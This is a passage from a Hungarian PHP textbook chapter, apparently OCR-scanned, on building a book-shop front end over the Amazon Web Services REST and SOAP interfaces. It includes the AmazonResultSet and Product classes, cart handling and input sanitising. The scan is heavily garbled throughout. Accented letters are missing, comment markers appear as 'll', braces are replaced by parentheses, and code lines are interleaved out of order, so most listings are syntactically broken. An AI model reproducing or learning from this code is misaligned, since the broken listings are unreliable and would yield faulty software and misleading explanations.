ha a programot dummy devtag rtkkel futtatjuk {

if(DEVTAG=='XXXXXXXXXXXXXX')

33

die ("You need to sign up for an Amazon.com developer tag at <a href=\"https:llaws.amazon.comi\">Amazon<la> when you install this software. You should probably sign up

for an associate ID at the same time. Edit the file constants.php.");

ll Amazon bngszsi csompontok (rszleges) listja $categoryList = array(S=>'Computers & Internet', 295223=>'PHP', 3510=>'Web Development',

17=>'Literature and Fiction', 53=>'Non Fiction', 21=>'Reference',

3=>'Business & Investing', 23=>'Romance', 6 =>'Food


&

75=>'Science',

Wine',

27=>'Travel',

16272=>'Science Fiction' ); ?>

Az alkalmazst gy hoztuk ltre, hogy REST tvitellel s SOAP protokollal egyarnt hasznlhat legyen. A kt mdszer kzte gy vlaszthatunk, hogy a megfelel rtket lltjuk be a METHOD llandban. A CACHE konstans az Amazonrl letlttt adatok gyorsttrnak elrsi tvonalt trolja. Adjuk meg irt a rendszernkn hasznlni kvnt elrsi tvonalat! Az ASSOCIATEID lland Amazon partnerazonostnkat tartalmazza. Ha a tranzakcikkal egytt ezt is elkldjk az Amazonnak, jutalkot kaphatunk. Ne felejtsk el a kdba berni sajt partnerazonostnkat l

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

575

A EVTAG konstans az Amazon ltal regisztrcinkkor adott fejleszti token rtkt trolja. Mdostsuk a kdot sajt D tokennk rtknek megfelelen, klnben az alkalmazs nem fog mkdni! Tokene gy ignyelhetnk, ha regsztrlunk az http:/ /aws.amazon.com oldalon. Trjnk most vissza az index. php fjlhoz! A kd az elkszletek utn a f esemnyhurkot tartalmazza. Azzal indul, hogy kinyerjk a$_REQ ST szupergloblis vltozha GET vagy POST mdszerrel rkez vltozkat. Ezt kveten bellt U E juk egyes globlis vltozk rtkr; ezek a vltozk fogjk a ksbbiekben meghatrozni a megjelenirend tartalmat:
ll alaprtelmezett rtkek a globlis vltozknak
if($mode==
'

')

{ ll Semmilyen ms mddal nem foglalkozunk a pldban

$mode = 'Books';

if($browseNode==' ') $browseNode = 53; if($page==' )


'

//az

53

a legjobban fogy ismeretterjeszt knyv kategrija

$page = l;

//Els oldal - oldalanknt 10 ttel

A mode vltoz rtkt Books-ra lltjuk. Az Amazon tbb ms mdot (vagyis termktpust) tmogat, de ebben az alkal mazsban csak a knyvekkel foglalkozunk. A fejezet kdjt egyszeren mdosthatnnk gy, hogy ms termkkategrikat is kezelni tudjon. Ennek els lpse a $mode vltoz rtknek megvltoztatsa lenne. Ellenriznnk kellene az Amazon dokumentcijban, hogy a knyvtl eltr termkek esetn rnilyen ms attribtumokat kapunk vissza, s el kellene tvoltani a felhasznli felletrl a knyvspecifikus elemeket. A browseNode vltoz hatrozza meg a megjelenteni kvnt knyvka tegrikat. A vltoz rtkt bellthatja a felhasznl, amikor a kvlasztott kategrik valamelyik hivatkozsra kattint. Mi magunk 53-ra lltjuk a vltoz alaprtelmezett rtkr, hogy kezelni tudjuk az olyan helyzeteket, arnikor a felhasznl mg nem vlasztott kategrit - pldul, mert mg csak most nyitotta meg weboldalunkat. Az Amazon bngszsi csompontjai egyszer egsz szmok, amelyek egy-egy kategrit azonostanak. Az 53-as rtk a Non-Fiction Books, vagyis az ismeretter jeszt kategrit jelkpezi. Ez legalbb annyira alkalmas a nyitoldalon val megjelentsre, mint brmely msik kategria, hiszen a taln legjobb ltalnos kategrik (kztk pldul a sikerlists knyvek) nem rhetk el bngszsi csompontknt. A page vltoz kzli az Amazonnal, hogy az adott kategrin bell a tallatok mely rszhalmazt kvnjuk megjelenteni. Az l. oldal az 1-10. tallatokat, a 2. oldal a 11-20. tallatokat tartalmazza, s gy tovbb. Az egy oldalon megjeleniehet kny vek szmt az Amazon hatrozza meg, ezt az rtket nem ll mdunkban megvltoztatni. Azt termszetesen megrehetnnk, hogy oldalainkon kt vagy tbb Amazon oldalnyi adatot jelentnk meg, de az oldalanknt tz knyv egyrszt sszer mennyi sg, msrszt felesleges lenne megnehezteni sajt dolgunkat. Ezt kveten megtiszttjuk az esetlegesen a keressi mezben vagy a ET vagy POST paramter ltal kapott beviteli rtkeket: G
ll beviteli adat ellenrzse/megtiszttsa
if(!eregi(
'A

[A-Z0-9] +$',

$ASIN))

33

ll az ASIN alfanumerikus kell, hogy legyen


$ASIN =''; if(!eregi('A[a-z]+$', $mode = 'Books'; // az oldalaknak s a bngszsi csompontoknak $mode))

ll a md csak betkbl llhat

$page=intval($page); $browseNode

ll egsznek kell lennik


=

intval($browseNode);

llEls pillantsra taln kevss rthet, ll de az albbi kdrsz pusztn arrl szl, ll hogy a $search vltozt megszabadtjuk a nem kvn rtkektl
$search = safeString($search);

Semmi jdonsg nincsen a fenti kdrszletben. AsafeString () fggvnyt a utilityfunctions. php fjlban tall juk. Egyszeren az a feladata, hogy regulris kifejezs segtsgvel eltvoltsa a beviteli karakterlncokbl a nem alfanumerikus karaktereket. Mivel ezzel a tmval korbban mr rszletesen foglalkoztunk, a fggvny kdjt itt s most nem kzljk. A legfbb oka annak, hogy alkalmazsunkban ellenriznnk kell a felhasznl ltal bevitt szveget, az, hogy az ilyen bevitele a gyorsttrban hasznlt fjlnevek ltrehozsra fogjuk felhasznlni. Komoly problmkba futhatnnk bele, ha a felhasznlk .. vagy l karaktert hasznlhatnnak az ltaluk bevitt adatokban.

576

33. fejezet

Ha a vsrl mg nem rendelkezik kosrral, akkor most ltrehozzuk neki:


if {!isset{$ SESSION ['eart' J)) session_register{'cart'); $ SESSION['cart'] = array{);

Mg mindig vr rnk nhny feladat, mieltt megjelenthetnnk az oldal tetejn lv informcis svban szerepl adatokat (a 33.1 brra visszalapozva felidzhetjk, hogyan nz ki ez a sv). Minden oldal fels svjban megjelenik a kosr, ezrt fontos, hogy az informcis sv megjelentse eltt naprakssz tegyk a kosr vltozjt:
ll a fels sv megjelenitse eltt vgrehajtand feladatok if{$action == 'addtocart') { addToCart{$ SESSION['cart'], if{$action == 'deletefromcart') $ASIN, $mode);

{
$ASIN);

deleteFromCart{$ SESSION['cart'], if{$action == 'emptycart') $ SESSION['cart']

= array{);

Ezzel a kddal szksg esetn knyveket adhatunk a kosrhoz, illetve trlhetnk belle, mieltt megjelentennk azt. Ksbb mg visszatrnk ezekre a fggvnyekre, amikor a kosr s a fizets mkdst mutatjuk be. Ha szeretnnk most meg vizsglni, a cartfunctions.php fjlban talljuk ket. Egyelre azonban nem foglalkozunk velk, mert elszr az Amazon hoz kapcsold felletet kell megrtennk. Ezt kveten beillesztjk a topbar. php fjlt, ami HTML kdot, egy stluslapot s a cartfunctions.php fjlban lv
ShowSmallCart{ ) fggvny hvst tartalmazza. Ez utbbi jelenti meg a kosr tartalmt sszefoglal adatokat, amelyeket az

brk jobb fels sarkban tallunk. A kosr funkeit megvalst fggvnyek trgyalsakor mg visszatrnk erre a fggvnyre. Vgl elrtnk a f esemnykezel h urokhoz. A lehetsges mveleteket a 33.2 tblzatban talljuk.
3 3.2 tblzat: A J esemnyhurok Mvelet
browsenode detail image search addtocart deletefromcart emptycart showeart

lehetsges mveletei

Lers

Az adott kategriba tartoz knyveket jelenti meg. Ez az alaprtelmezett mvelet. A kivlasztott knyv rszletes adatait jelenti meg. A knyv bortjnak nagyobb vltozatt jelenti meg. A felhasznl ltal vgrehajtott keress eredmnyt jelenti meg. Hozzad egy ttelt a felhasznl kosarhoz. Trl egy ttelt a felhasznl kosarbl. Teljesen kirti a kosarat. Megjelenti a kosr tartalmr.

A fenti tblzatban szerepl els ngy mvelet az Amazontl szrmaz adatok visszakeressvel s megjelentsvel kapcso latos, a msodik ngy pedig a kosr kezelsvel foglalkozik.
Az Amazontl adatot visszakeres mveletek mind hasonlkppen mkdnek. Nzzk meg pldaknt, hogyan lehet egy

adott browsenode-ban, vagyis kategriban tallhat knyvek adatait lekrnil

Adott kategriban lv knyvek megjelentse


A browsenode (kategria megjelentse) mvelet esetn az albbi kd h*dik vgre:
showCategories{$mode); $category = getCategoryName{$browseNode); if{!$category ll {$category=='Best Selling Books')) echo "<hl>Current Best Sellers<lhl>"; else echo "<hl>Current Best Sellers in ".$category."<lhl>";

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

577

A showCategories () fuggvny a kivlasztott kategrik listjt jelenti meg, amely listt az oldalak tbbsgnl azok fels rszn lthatjuk. A getCategoryName () fuggvny a neki radott browsenode rtk alapjn az adott kategria nevt adja vissza. A showBrowseNode () fuggvny az abban a kategriban tallhat knyvekbl jelent meg egy oldalnyit. Vizsgljuk meg legelszr a showCategories() fuggvnyt! Kdjt a 33.5 pldakdban talljuk.
33.5 pldakd: A categoryfunctions. phpknyvtr showCategories ()fggvnye- A kivlasztott kategrik listja
ll npszer kategrik listjnak megjelenitse function showCategories($mode) { global $categoryList; echo "<hrl><h2>Selected Categories<lh2>"; if($mode == 'Books')

asort($categoryList); Seategories = count($categoryList); $columns = 4; $rows = ceil($categoriesl$columns); echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tr>"; reset($categoryList); for($col = 0; $col<$columns; $row<$rows; $col++) $row++)

{ {

echo "<td width=\"". (100I$columns)."%\" valign=\"top\"><ul>"; for($row = 0; $category


=

each($categoryList);

if($category)

$browseNode = $category['key'); $name = $category['value'); echo "<li><span class=\"category\"> <a href=\"index.php?action=browsenode&browseNode=".$browseNode."\">" .$name."<la><lspan><lli>";

echo "<lul><ltd>"; echo "<ltr><ltable><hrl>";

A fuggvny a categoryList nev, a constants.php fjlban deklarlt tmbbel llaptja meg a browsenode szmok hoz tartoz kategrianeveket. A hasznlni kvnt kategrikat egyszeren begpeltk ebbe a tmbbe. A fuggvny rendezi a tmbt, s megjelenti a klnbz kategrikat. A f esemnyhurokban kvetkeznek meghvott getCa tegoryName() fuggvny kikeresi az aktulisan megtekintett
browsenode nevt. Erre azrt van szksg, hogy megjelentsle a kpernyn a cmsort, pldul: Current Best Sellers

in Business & Investing (Az ..zlet s befektets" kategria jelenlegi sikerlists knyvei). A fuggvny az imnt emltett
categoryList tmbbl keresi ki a nevet.

Az igazn izgalmas dolgok akkor kezddnek, amikor a 33.6 pldakdban lthat showBrowseNode() fuggvnyhez rnk.

578

33 fezet .

33.6 pldakd: A bookdisplayfunctions. php knyvtr


knyvek listja

showBrowseNode (}fggvnye- Adott kategriban tallhat

ll Adott kategriban megjelent egy oldalnyi termket


function showBrowseNode($browseNode, $ars = getARS('browse', 'mode'=>$mode}}; showSurnrnary($ars->products(}, $page, $ars->totalResults(}, $mode, $browseNode}; $page, $mode}

{
'page' => $page,

array('browsenode'=>$browseNode,

A showBrowseNode(} fggvny egs:z:en pontosan kt dolgot tes:z;. Els:z:r is meghvja a cachefunctions. php knyv tr getARS(} fggvnyt, amely ArnazonResult Set objektumot fogad s ad viss:z:a (a kvetke:z: rs:z;ben bvebben tte kintjk e:z:t a fggvnyt). E:z:utn meghvja a bookdi splayfunctions. php knyvtr showSummary (} fggvnyt, hogy megjelentse a viss:z:akeresett informcikat.
A:z: egs:z: alkalma:z:s mkdsnek htterben a getARS(} fggvny ll. Ha vgign:z::z;k a tbbi mvelet- a rs:z:letes

knyvadatok megtekintse, a kpek megjelentse s a keress- kdjt, ltni fogjuk, hogy mindenhol e:z::z:el a fggvnnyel tall ko:z:unk.

AmazonResultSet objektum lekrse


Vi:z:sgljuk meg rs:z:letesebben is a getARS(} fggvnyt, amit a 33.7 pldakdban lthatunk!

33.7 pldakd: A cachefunctions. php knyvtr getARS (}fggvnye- Lekrde:z:s eredmnyhalma:z:a


ll ArnazonResultSet objektum lekrse gyorsttrbl vagy l lekrdezsbl ll l lekrdezs esetn tegyk az objektumot gyorsttrbal
function getARS($type, $parameters} { $parameters};

$cache = cached($type,

if ($cache}

ll ha benne van a gyorsttrban

33

return $cache; else

$ars = new ArnazonResultSet; if($type == 'asin'} { $ars->ASINSearch(padASIN($parameters['asin']}, $parameters['mode']};

if($type == 'browse'}

{
$parameters['page'],

$ars->browseNodeSearch($parameters['browsenode'], $parameters['mode']};

if($type == 'search'}

{
$parameters['page'],

$ars->keywordSearch($parameters['search'], $parameters['mode']};

cache($type,

$parameters,

$ars};

return $ars;

A fggvny feladata, hogy bes:z:ere:z;:z;e a:z; Ama:z:onrl s:z:rma:z: adatokat. Ktflekppen teheti ezt meg: gyorsttrbl vagy k:z:veclenl a:z; Ama:z:onrl. Mivel a:z; Ama:z:on megkveteli a fejles:z:tktl a letlttt adatok gyorsttra:z:st, a fggvny elszr a gyorsttrban keres. A gyorsttrrl rvidesen rs:z:letesebben is s:z: esik majd.

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

579

Ha az adott lekrdezst mg nem hajtottuk vgre, az adatokat lben kell lekrni az AmazonrL Ezt gy tehetjk meg. hogy ltrehozzuk az AmazonResultSet osztly egy pldnyt, majd meghvjuk rajta a futtatni kvnt lekrdezsnek megfelel metdust. A lekrdezs tpust a $type paramterben hatrozzuk meg. Ha pldul adott kategriban (vagyis bngszsi csompontban) keresnk, a browse rtket adjuk t a paramterben (lsd a 33.6 pldakdot!). Ha adott knyvre vonatkoz keresst kvnunk vgrehajtani, asin lesz a paramter rtke, ha pedig kulcsszavas keresst akarunk folytatni, search-re kell lltani a paramtert. Mindegyik paramter ms s ms metdust hv meg az AmazonResult Set osztlyon. Ha adott knyvre keresnk, az
ASINSearch () metdust hvjuk meg. Kategriban keresskor a browseNodeSearch(), kulcsszavas keress esetn pedig

a keywordSearch () metdus hvdik meg. Vizsgljuk meg kzelebbrl az AmazonResultSet osztlyt! Teljes kdjt a 33.8 pldakdban olvashatjuk.
33.8 pldakd: AmazonResult Set.php
<?php

Az Amazonhoz val kapcsoldsokat kezel osztly

ll ezzel a constants.php fjlban belltott llandval vlthatunk a ll REST s SOAP mdszer kztt
if(METHOD=='SOAP')

include once('nusoaplliblnusoap.php');

ll Ez az osztly trolja a lekrdezsek eredmnyt, ll ami ltalban a Product osztly l vagy 10 pldnya
class AmazonResultSet private $browseNode; private $page; private $mode; private $url; private $type; private $tota1Results; private $currentProduct = null; private $products = array(); function products() return $this->products;

ll Product objektumok tmbje

33

function totalResults() return $this->tota1Results;

function getProduct($i) if(isset($this->products[$i])) return $this->products[$i]; else

return false;

ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt ll Product objektumok tmbjt adja vissza
function browseNodeSearch($browseNode, $page, $mode)

$this->Service = "AWSECommerceService";

580

33.fezet

Sthis->Operation = "ItemSearch"; $this->AWSAccessKeyid = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->BrowseNode = $browseNode; Sthis->ResponseGroup


=

"Large";

Sthis->Searchlndex= $mode; $this->Sort= 'salesrank'; $this->Tota1Pages= $page; if(METHOD=='SOAP') $soapclient = new nusoap client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); $request = array ('Service' => Sthis->Service, 'BrowseNode' => Sthis->BrowseNode, $this->Tota1Pages); $parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result)) return false; 'AssociateTag' => ASSOCIATEID, 'Searchindex' => Sthis->Searchindex, 'Operation' => $this->Operation, 'TotalPages' => 'wsdl');

'ResponseGroup' => Sthis->ResponseGroup, 'Sort' => Sthis->Sort,

$this->totalResults = Sresult['TotalResults'l;

33

foreach($result['Items' l ['Item' l $this->products[l unset($soapclient); unset($soap_proxy); else {

as $product)

= new Product($product);

ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl $this->url = "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".Sthis->AssociateTag. "&AWSAccessKeyid=".$this->AWSAccessKeyid. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&Searchlndex=".Sthis->Searchlndex. "&Sort=".$this->Sort. "&TotalPages=".Sthis->TotalPages; $this->parseXML();

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

581

return $this->products;

ll Az ASIN birtokban krjk le a nagy kp URL-jt! ll Karakterlncot ad vissza function getimageUrlLarge($ASIN, $mode)

{ {

foreach($this->products as $product) if( $product->ASIN()== $ASIN) return

$product->imageURLLarge();

ll ha nem tallhat $this->ASINSearch($ASIN, $mode);

return $this->products(0)->imageURLLarge();

ll A megadott ASIN-hoz tartoz termk visszakeresse a lekrdezs vgrehajtsval ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt

ll Product objektumot ad vissza function ASINSearch($ASIN, $mode = 'books')

$this->type = 'ASIN'; $this->ASIN=$ASIN; $this->mode = $mode; $ASIN = padASIN($ASIN);

$this->Service = "AWSECommerceService"; $this->Operation = "ItemLookup"; $this->AWSAccessKeyid = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->ResponseGroup = "Large"; $this->IdType = "ASIN"; $this->Itemid = $ASIN;

33
'wsdl');

if(METHOD=='SOAP')

$soapclient = new nusoap_client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',

$soap_proxy = $soapclient->getProxy();

$request = array ('Service' 'ResponseGroup' => $this->Itemid);

=> $this->Service,

'Operation' => $this->Operation, 'Itemid' =>

$this->ResponseGroup,

'IdType' => $this->IdType,

$parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request));

'AssociateTag' => ASSOCIATEID,

ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemLookup($parameters);

if(isSOAPError($result)) return false;

582

33.

fejezet

$this->products[O] = new Product($result['Items'] ['!tem']); $this->totalResults=l; unset($soapclient); unset($soap_proxy); else ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl $this->url = "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyld=".$this->AWSAccessKeyld. "&ResponseGroup=".$this->ResponseGroup. "&IdType=".$this->IdType. "&Itemld=".$this->Itemid; $this->parseXML(); return $this->products[O];

ll A kulcsszavas keress eredmnyekppen kapott knyvekkel teli oldalt ll kapjuk vissza a lekrdezs futtatsval ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt ll Product objektumok tmbjt adja vissza function keywordSearch($search, $page, $mode 'Books')

$this->Service = "AWSECommerceService"; $this->Operation = "ItemSearch"; $this->AWSAccessKeyld = DEVTAG;

33

$this->AssociateTag = ASSOCIATEID; $this->ResponseGroup = "Large"; $this->Searchlndex= $made; $this->Keywords= $search; if(METHOD=='SOAP') $soapclient = new nusoap client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); $request = array ('Service' => $this->Service, 'ResponseGroup' => $this->ResponseGroup, 'Keywords' => $this->Keywords); 'AssociateTag' => ASSOCIATEID, 'Operation' => $this->Operation, 'wsdl');

'Searchlndex' => $this->Searchlndex,

$parameters = array('AWSAccessKeyld' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result))

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

583

return false;

$this->tota1Results = $result['Tota1Results'];

foreach($result['Items'] ['!tem'] $this->products[]

as $product}

= new Product($product};

unset($soapclient}; unset($soap_proxy};

else "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyid=".$this->AWSAccessKeyld. "&ResponseGroup=".$this->ResponseGroup. "&Searchlndex=".$this->Searchlndex. "&Keywords=".$this->Keywords;

$this->url

$this->parseXML(};

return $this->products;

ll Az XML feldolgoz a Product objektum(ok}ban function parseXML(}

{
mert esetenknt ez nem fog mkdni

ll hibk elnyomsa,

$xml = @simplexml_load_file($this->url}; if(!$xml}

{
htha csak foglalt volt a kiszolgl! @simplexml_load_file ($this->url};

ll prbljuk meg mg egyszer, $xml


=

33

if(!$xml}

return false;

$this->tota1Results = (integer}$xml->Tota1Results; foreach($xml->Items->Item as $productXML} $this->products[]

= new Product($productXML};

?>

Ez az igen hasznos osztly pontosan azt a munlcit vgzi el, amire az osztlyok valk. Szp fekete dobozba zrja az Amazonhoz szksges felletet. Az Amazonhoz val kapcsolds az osztlyon bell a REST s a SOAP mdszerrel is ltrehozhat. Az osz tly ltal tnylegesen alkalmazorr mdszert a constants.php fjlban bellitorr globlis METHOD lland rtke hatrozza meg. Kezdjk azzal, hogy visszatrnk a kategrin belli keress pldjra! A kvetkezkppen hasznljuk ekkor az
AmazonResultSet osztlyt:

584

33. fejezet

$ars = new AmazonResultSet; $ars->browseNodeSearch($parameters['browsenode'], $parameters['page'], $parameters['mode']);

Az osztly nem rendelkezik konstruktorral, gy trjnk r egyenesen a browseNodeSearch () metdusra! Ennek hrom paramtert adunk t: a bennnket rdekl browsenode szmt (ami mondjuk a Business & Investing vagy a Computers & Internet kategrinak felel meg), a:z; oldal szmt, ami a visszakeresni kvnt rekordokat hatrozza meg, illetve a mdot, ami az rintett termktpusra utal. A 33.9 pldakdban a kdnak ezt a metdust tartalmaz rszlett olvashatjuk.
33.9 pldakd: A browseNodeSearch() metdus -Keress kategriban
ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt ll Product objektumok tmbjt adja vissza function browseNodeSearch($browseNode, $page, $mode)

$this->Service = "AWSECommerceService"; $this->Operation = "ItemSearch"; $this->AWSAccessKeyid $this->AssociateTag


= =

DEVTAG;

ASSOCIATEID;

$this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->Searchindex= $mode; $this->Sort= 'salesrank'; $this->Tota1Pages= $page; if(METHOD=='SOAP') $soapclient = new nusoap client( 'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl', $soap_proxy = $soapclient->getProxy(); 'wsdl');

33

$request = array ('Service' => $this->Service, 'Searchindex' => $this->Searchindex, $this->Tota1Pages); $parameters = array('AWSAccessKeyid' => DEVTAG, 'Request'=>array($request)); ll a tnyleges soap lekrdezs vgrehajtsa $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result)) return false;

'Operation' => $this->Operation, 'TotalPages' =>

'BrowseNode' => $this->BrowseNode, 'ResponseGroup' => Sthis->ResponseGroup, 'Sort' => $this->Sort,

'AssociateTag' => ASSOCIATEID,

$this->tota1Results = $result['Tota1Results']; foreach($result['Items'] ['Item'] as $product) $this->products[] = new Product($product); unset($soapclient);

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

585

unset($soap_proxy);

else

{
meghvsa letlts s rtelmezs cljbl

ll URL ltrehozsa s a parseXML

$this->url = "http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyid=".$this->AWSAccessKeyid. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&Searchindex=".$this->Searchindex. "&Sort=".$this->Sort. "&TotalPages=".$this->TotalPages;

$this->parseXML();

return $this->products;

A METHOD konstans rtktl fggen a metdus REST-en vagy SOAP-on keresztl hajtja vgre a lekrdezst,de term szetesen mindkt krsben ugyanazokat az informcikat kldi el. A fggvny elejn az albbi sorok lthatk, amelyek a krs vltozit, illetve azok rtkt adjk meg:
$this->Service = "AWSECommerceService"; $this->Operation = "ItemSearch"; $this->AWSAccessKeyid = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->Searchindex= $mode; $this->Sort= "salesrank"; $this->Tota1Pages= $page;

A fenti rtkek kzl nhnyat- pldul a $browseNode, a $mode s a $page vltozban szerepl rtket- az alkal mazs ms rszeiben lltunk be. Ms rtkek,gy a DEVTAG s az ASSOCIATEID pedig konstansok. Megnt msok- gy a $this->Service, a $this->Operation s a $this->Sort is- statikusak. A minimlisan szksges vltozk kre a krs tpustl fgg; a fenti pldban egy adott kategria eladsi szmok szerint sorba rendezett knyveit bngsszk. Ms vltozkat hasznlunk, ha adott knyvre vagy kulcssz alapjn keresnk. A vlto zk listjt az AmazonResultSet.php fjl browseNodeSearch (), ASINSearch (),illetve keywordSearch () fgg vnynek elejn lthatjuk. Az egyes krstpusok esetn elvrt vltozkrl az AWS Developer's Guide-ban tallunk rszletes tmutatst. A kvetkezkben azt vizsgljuk meg, hogyan hozzuk ltre a browseNodeSearch () fggvnyben a REST s a SOAP le krdezsre irnyul krst. A krs ltrehozsnak formja koncepcijt tekintve azASINSearch ( ) s a keywordSearch () fggvnyben is hasonl.

33

Krs intzse s az eredmny visszakeresse REST segtsgvel


Mivel az osztly ragvltozit a browseNodeSearch () (vagy azASINSearch () vagy a keywordSearch ())fggvny elejn mr belltottuk, nem maradt ms htra, mint hogy REST l XML over HTTP segtsgvel formzzuk s elkldjk az URL-t:
$this->url
=

"http:llecs.amazonaws.comloncalxml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag.

586

33. fejezet

"&AWSAccessKeyld=".$this->AWSAccessKeyld. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&Searchlndex=".$this->Searchlndex. "&Sort=".$this->Sort. "&Tota1Pages=".$this->Tota1Pages;

Az alap URL jelen esetben a htcp:/ l ecs.amazonaws.com/onca/xml. A vltozk nevt s rtkt ehhez hozzfzve GET lekrdezsi karakterlncot hozunk ltre. Ezek teljes dokumentcijt, illerve a tbbi lehetsges vltozt az AWS Developer's Guide-ban talljuk. A paramterek belltsa utn meghvjuk a
$this->parseXML();

metdust, hogy elvgezze a lnyegi munkt. A parseXML () metdus kdjt a 33.10 pldakdban lthatjuk.
33.10 pldakd: A ll
parseXML () metdus- A lekrdezs ltal visszakldtt

XML rtelmezse

Az XML feldolgoz a Product objektum(ok)ban

function parseXML ()

{
mert esetenknt ez nem fog mkdni

ll

hibk elnyomsa,

$xml = @sl.mplexml load_file($this->url); if(!$xml)

{
htha csak foglalt volt a kiszolgl!

ll

prbljuk meg mg egyszer,

$xml = @simplexml load_file($this->url); if(!$xml)

return false;

$this->tota1Results = (integer)$xml->Tota1Results; foreach($xml->Items->Item as $productXML) $this->products[]

= new Product($productXML);

33

A simplexml_load_file () vgzi el szmunkra a munka rdemi rszt. Az XML tartalmat f:ijlbl vagy- mint pl dnkban- URL-bl olvassa be. Objekrumorientlt felletet (interfszt) nyjt az XML dokumenrumban lv adatokhoz s struktrhoz. Ez a fellet hasznos lenne ugyan, de mivel a REST vagy SOAP mdszerrel rkezett adatokat kezelni kpes interfszfggvnyekre van szksgnk, sajt objekrumorientlt felletet hozunk ltre ugyanezekhez az adatokhoz (amelyek a Product osztly pldnyaiban helyezkednek el). Figyeljk meg: a REST mdszernl rpusknyszertssel PHP vltozt pusokk alaktjuk az XML attribrumait! A Product osztly elssorban a privt tagjaiban trolt adatok elrsre szolgl elrfggvnyeket tartalmaz, gy felesleges lenne irt a teljes fjlt szerepeltetni. Az osztly s a konstruktor szerkezett azonban rdemes megvizsglni. A 33.11 pldakd a Product osztly defincijnak egy rszt tartalmazza.
33.11 pldakd: A Product osztly magba zrja az egyes Amazon-termkekrl meglv adatainkat
class Product

private $ASIN; private $productName; private $releaseDate; private $manufacturer; private $imageUrlMedium; private $imageUrlLarge; private $listPrice; private $ourPrice; private $salesRank; private $availability;

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

587

private $avgCustomerRating; private $authors = array(); private $reviews = array(); private $similarProducts private $soap; = array();

ll SOAP meghvsok ltal visszaadott tmb

function

__

construct($xml)

if(METHOD=='SOAP')

$this->ASIN = $xml['ASIN']; $this->productName


=

$xml['ItemAttributes']['Title'];

if (is_array($xml['ItemAttributes']['Author'])

!= "")

foreach($xml['ItemAttributes']['Author'] as $author) $this->authors[] = $author;

else

{
$xml[ 'IternAttributes' l ['Author' l;

$this->authors[]

$this->releaseDate

$xml['ItemAttributes']['PublicationDate'];

$this->manufacturer = $xml['ItemAttributes']['Manufacturer']; $this->imageUrlMedium = $xml['Mediumimage']['URL']; $this->imageUrlLarge = $xml['Largeimage']['URL'];

$this->listPrice $this->listPrice $this->listPrice $this-> listPrice

$xml['IternAttributes' l ['ListPrice' l ['ForrnattedPrice' l; str replace('$', str_replace(', ', ' ', '', $this->listPrice); $this->listPrice);

floatval($this->listPrice);

$this->ourPrice $this->ourPrice $this->ourPrice $this->ourPrice

$xml['OfferSummary']['LowestNewPrice']['FormattedPrice']; str_replace('$', str_replace(', ', '', '', $this->ourPrice); $this->ourPrice);

floatval($this->ourPrice);

33

$this->salesRank

$xml['SalesRank'];

$this->availability = $xml['Offers']['Offer']['OfferListing']['Availability']; $this->avgCustomerRating = $xml['CustomerReviews']['AverageRating'];

$reviewCount =

0;

if (is array($xml['CustomerReviews']['Review'])) foreach($xml['CustomerReviews'] ['Review'] as $review) $this->reviews[$reviewCount]['Rating'] = $review['Rating']; $this->reviews[$reviewCount] ['Summary'] $review['Summary'];

$this->reviews[$reviewCount] ['Content'] = $review['Content']; $reviewCount++;

$similarProductCount

O;

if (is array($xml['SimilarProducts']['SimilarProduct'])) foreach($xml['SimilarProducts'] ['SimilarProduct'] as $similar)

588

33. fejezet

$this->similarProducts[$similarProductCount]['Title'] $this->similarProducts[$similarProductCount]['ASIN'] $similarProductCount++;


=

$similar['Title']; $review['ASIN'];

else

ll REST hasznlata esetn


$this->ASIN (string)$xml->ASIN;
=

$this->productName

